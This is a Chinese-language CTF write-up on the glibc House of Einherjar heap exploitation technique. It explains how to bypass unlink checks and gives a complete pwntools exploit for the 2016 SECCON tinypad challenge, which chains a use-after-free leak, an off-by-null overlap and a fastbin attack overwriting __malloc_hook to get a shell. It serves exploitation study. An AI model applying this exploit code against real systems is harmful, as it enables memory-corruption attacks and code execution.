适用范围 2.23~至今
作用:得到overlapping chunk
需要修改chunk的P位
利用原理 先来看free
函数中这一段有关后向合并的代码:
1 2 3 4 5 6 7 if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); unlink(av, p, bck, fwd); }
这里新的chunk大小和新的chunk指针都由prev_size
决定,所以我们可以通过控制prev_size
来得到任意地址的chunk
但是需要注意的是要达到获得任意地址的chunk的效果,需要绕过unlink
检测,然后触发free
时的后向合并
unlink的检查 1 2 3 4 5 6 7 8 9 10 11 12 13 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0 )) \ malloc_printerr ("corrupted size vs. prev_size" ); \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) \ malloc_printerr (check_action, "corrupted double-linked list" , P, AV); \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0 ) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0 )) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)" , \ P, AV);
size检查 检查当前堆块的size位置记录的数据和下一个堆块的prev_size数据是否一致
要绕过这个检测仅需伪造下一个堆块的prev_size位即可
双向链表检查 检查FD->bk
和BK->fd
是否均指向自身
绕过方法1:
修改chunk的fd和bk指针指向一处能控制得地址ADDR
,将ADDR + 0x10
位置和ADDR + 0x18
位置写入当前chunk的指针
使得P -> fd = P -> bk = ADDR
ADDR + 0x10 = ADDR + 0x18 = P
由此来绕过检测
绕过方法2:
直接使P -> fd = P
P -> bk = P
在本堆利用方法中也许方法2更为常用
触发后向合并 根据这行代码if (!prev_inuse(p)) {
,要触发后向合并,当前堆块的P位必须为0,然后再free的时候就可以触发后向合并了
具体利用例子 现有chunk A.B,C.
A和C均处于unsorted bin范围内
先释放chunkA,然后在A中构造fake_chunk
接着控制chunkC的prev_size位和size域的P位
释放chunkC,通过控制chunkC的prev_size位和fake_chunk的size位通过unlink的size检查
就可以达成chunk overlapping了
例题:2016 Seccon tinypad 题目链接
题目给的是2.19的libc,我本机是在2.23的libc下打的
checksec
静态分析
off by one漏洞
在这个函数里有个off by one漏洞,当输入的字节数等于限制的字节数时,限制字节数的下一位将会被覆盖为\x00
use after free漏洞 还可以注意到程序free掉chunk时仅仅将fd那个位置的数据给清零掉了,指针并没有置null,我们可以通过泄露堆块的bk处的数据
确定思路 通过UAF漏洞来泄露libc和heap的基址
通过off by one达成house of einherjar利用得到overlapping的堆块
通过chunk overlapping和fastbin attack来修改__malloc_hook
为one_gadget来getshell
撰写exp.py 先定义几个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def add (size,content ): sla('(CMD)>>> ' ,'a' ) sla('(SIZE)>>> ' ,size) sla('(CONTENT)>>> ' ,content) def dele (index ): sla('(CMD)>>> ' ,'d' ) sla('(INDEX)>>> ' ,index) def edit (index,content ): sla('(CMD)>>> ' ,'e' ) sla('(INDEX)>>> ' ,index) sla('(CONTEXT)>>> ' ,content) sla('(Y/N)>>> ' ,'y' ) def quit (): sla('(CMD)>>> ' ,'q' )
leak libc 1 2 3 4 5 6 7 8 9 10 11 add('128' ,'deadbeef' ) add('96' ,'r00t' ) add('240' ,'c' ) add('160' ,'d' ) dele('3' ) ru('INDEX: 3' ) ru('CONTENT: ' ) libc_addr = u64(r(6 ).ljust(8 ,b'\x00' )) log.info('libc: ' ,hex (libc_addr))
前文提到要泄露堆基地址使构造fake_chunk
的时候使其fd
和bk
位置指向自身,但其实并不需要,原因稍后分析
free堆块为HOE做准备同时计算地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 dele('2' ) dele('1' ) malloc_hook = libc_addr - 0x68 libc_base = malloc_hook - libc.sym['__malloc_hook' ] fake_chunk = malloc_hook - 0x23 ogg = [0x4525a ,0xef9f4 ,0xf0897 ]
HOE 1 2 3 4 5 6 7 8 9 10 11 12 pause() add('240' ,b'c' * 0x10 ) add('128' ,b'a' ) dele('2' ) add('104' ,b'b' *0x60 + p64(0xc0 + 0x40 )) dele('1' )
这里dele(‘2’)
后chunk1的fd
和bk
会指向同一处main_arena
,同时这块main_arena
的fd
和bk
也都会指向chunk1,所以可以直接通过unlink
检查
这里第九行还有个点需要注意,由于程序的add方法是根据你输入的size的大小来决定输入长度的,但我们都知道malloc申请堆块是向0x10对齐的,且是5舍6入 ,我们申请104(0x68)大小的内存时其实只给了0x60的大小,剩下0x8可以直接覆盖掉chunk3的prev_size位,再通过off by null控制chunk3的P位
getshell 1 2 3 4 5 6 7 8 9 10 dele('2' ) add('240' ,b'e' * 0x88 + p64(0x71 ) + p64(malloc_hook - 0x23 )) add('96' ,b'f' *0x10 ) add('96' ,b'g' * 0x13 + p64(ogg[1 ] + libc_base)) dele('2' ) sl('a' ) sl('100' ) ia()
通过fastbin attack将malloc_hook
申请到堆块重叠的部分,再通过别的指针将其改为ogg
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *context.log_level = 'debug' arch = 64 io = process('./tinypad' ) gdb.attach(io,'b main' ) elf = ELF('./tinypad' ) libc = ELF('/home/snolax/桌面/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6' ) if arch == 64 : context.arch = 'amd64' elif arch == 32 : context.arch = 'i386' p = lambda : pause() s = lambda x : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() r = lambda x : io.recv(x) sd = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) def add (size,content ): sla('(CMD)>>> ' ,'a' ) sla('(SIZE)>>> ' ,size) sla('(CONTENT)>>> ' ,content) def dele (index ): sla('(CMD)>>> ' ,'d' ) sla('(INDEX)>>> ' ,index) def edit (index,content ): sla('(CMD)>>> ' ,'e' ) sla('(INDEX)>>> ' ,index) sla('(CONTEXT)>>> ' ,content) sla('(Y/N)>>> ' ,'y' ) def quit (): sla('(CMD)>>> ' ,'q' ) add('128' ,'deadbeef' ) add('96' ,'r00t' ) add('240' ,'c' ) add('160' ,'d' ) dele('3' ) ru('INDEX: 3' ) ru('CONTENT: ' ) libc_addr = u64(r(6 ).ljust(8 ,b'\x00' )) log.info('libc: ' ,hex (libc_addr)) dele('2' ) dele('1' ) malloc_hook = libc_addr - 0x68 libc_base = malloc_hook - libc.sym['__malloc_hook' ] fake_chunk = malloc_hook - 0x23 ogg = [0x4525a ,0xef9f4 ,0xf0897 ] pause() add('240' ,b'c' * 0x10 ) add('128' ,b'a' ) dele('2' ) add('104' ,b'b' *0x60 + p64(0xc0 + 0x40 )) dele('1' ) dele('2' ) add('240' ,b'e' * 0x88 + p64(0x71 ) + p64(malloc_hook - 0x23 )) add('96' ,b'f' *0x10 ) add('96' ,b'g' * 0x13 + p64(ogg[1 ] + libc_base)) dele('2' ) sl('a' ) sl('100' ) ia()
一些随笔 unlink检查的汇编表达
fastbin attack小要求 __malloc_hook - 0x23
处对应的size位是0x7f,所以fastbin attack的时候申请的chunk也应该是0x70的大小以保证处于同一个fastbinY数组中
off by null漏洞 house of einherjar堆利用中off by null漏洞改变P位时申请的堆块大小要为0x100,0x200等才能起效,因为off by null会改变一整个字节的数据
参考资料 ctf-wiki
吾爱破解题解